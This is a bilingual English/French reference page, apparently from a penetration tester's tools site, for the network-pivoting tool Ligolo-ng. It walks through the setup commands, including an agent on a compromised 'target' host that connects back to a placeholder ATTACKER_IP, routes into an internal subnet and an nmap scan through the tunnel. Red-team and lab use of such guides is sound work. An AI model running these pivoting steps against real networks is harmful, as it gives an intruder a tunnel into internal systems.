← retour aux outils back to tools

# Ligolo-ng

Outil de tunneling avancé utilisant des interfaces TUN pour un pivoting réseau transparent sans nécessiter proxychains. Advanced tunneling tool using TUN interfaces for seamless network pivoting without needing proxychains.

↗ https://github.com/nicocha30/ligolo-ng

## Overview

Ligolo-ng creates a TUN interface on the attacker machine that routes traffic directly into the internal network, making pivoting transparent — tools work natively without needing proxychains or SOCKS proxies.

## Setup

### Attacker Machine

    # Create TUN interface
    sudo ip tuntap add user $(whoami) mode tun ligolo
    sudo ip link set ligolo up

Start proxy server

    ./proxy -selfcert -laddr 0.0.0.0:11601

### Target Machine (Pivot Host)

Connect back to attacker

    ./agent -connect <ATTACKER_IP>:11601 -ignore-cert

### Back on Attacker — Activate the Tunnel

    # In the proxy REPL:
    ligolo-ng » session           # Select the session
    ligolo-ng » ifconfig          # Show target's network interfaces
    ligolo-ng » start             # Start the tunnel

    # Add route to internal subnet
    sudo ip route add 10.10.20.0/24 dev ligolo

Now scan the internal network directly:

    nmap -sT -Pn 10.10.20.0/24   # No proxychains needed!

## Multi-Hop Pivoting

Deploy a second agent on a host in the internal network, then create a new listener through the first tunnel.

Help / Man page

    PROXY (attacker):
      ./proxy [options]
      -laddr ADDR       Listening address (default: 0.0.0.0:11601)
      -selfcert         Auto-generate TLS certificate
      -certfile FILE    TLS certificate file
      -keyfile FILE     TLS key file
      -v                Verbose

    AGENT (target):
      ./agent [options]
      -connect ADDR     Proxy address to connect to
      -ignore-cert      Skip TLS verification
      -retry            Keep retrying connection
      -v                Verbose

    PROXY REPL COMMANDS:
      session           List/select sessions
      ifconfig          Show network interfaces on agent
      start             Start tunnel on selected session
      stop              Stop tunnel
      listener_add      Add a listener (for multi-hop)
        --addr 0.0.0.0:1234
        --to 127.0.0.1:11601
      listener_list     List active listeners
      listener_stop N   Stop a listener

    ATTACKER SETUP:
      sudo ip tuntap add user $USER mode tun ligolo
      sudo ip link set ligolo up
      sudo ip route add <SUBNET> dev ligolo

## Vue d’ensemble

Ligolo-ng crée une interface TUN sur la machine de l’attaquant qui route le trafic directement vers le réseau interne, rendant le pivoting transparent : les outils fonctionnent nativement sans nécessiter proxychains ou proxys SOCKS.

## Configuration

### Machine de l’attaquant

    # Créer l'interface TUN
    sudo ip tuntap add user $(whoami) mode tun ligolo
    sudo ip link set ligolo up

    # Démarrer le serveur proxy
    ./proxy -selfcert -laddr 0.0.0.0:11601

### Machine cible (hôte pivot)

    # Se connecter en retour vers l'attaquant
    ./agent -connect <ATTACKER_IP>:11601 -ignore-cert

### Retour sur l’attaquant : Activer le tunnel

    # Dans le REPL du proxy :
    ligolo-ng » session           # Sélectionner la session
    ligolo-ng » ifconfig          # Afficher les interfaces réseau de la cible
    ligolo-ng » start             # Démarrer le tunnel

    # Ajouter une route vers le sous-réseau interne
    sudo ip route add 10.10.20.0/24 dev ligolo

Scanner le réseau interne directement :

    nmap -sT -Pn 10.10.20.0/24   # Pas besoin de proxychains !

## Pivoting multi-sauts

Déployer un second agent sur un hôte du réseau interne, puis créer un nouveau listener à travers le premier tunnel.

Aide / Page de manuel

    PROXY (attacker):
      ./proxy [options]
      -laddr ADDR       Listening address (default: 0.0.0.0:11601)
      -selfcert         Auto-generate TLS certificate
      -certfile FILE    TLS certificate file
      -keyfile FILE     TLS key file
      -v                Verbose

    AGENT (target):
      ./agent [options]
      -connect ADDR     Proxy address to connect to
      -ignore-cert      Skip TLS verification
      -retry            Keep retrying connection
      -v                Verbose

    PROXY REPL COMMANDS:
      session           List/select sessions
      ifconfig          Show network interfaces on agent
      start             Start tunnel on selected session
      stop              Stop tunnel
      listener_add      Add a listener (for multi-hop)
        --addr 0.0.0.0:1234
        --to 127.0.0.1:11601
      listener_list     List active listeners
      listener_stop N   Stop a listener

    ATTACKER SETUP:
      sudo ip tuntap add user $USER mode tun ligolo
      sudo ip link set ligolo up
      sudo ip route add <SUBNET> dev ligolo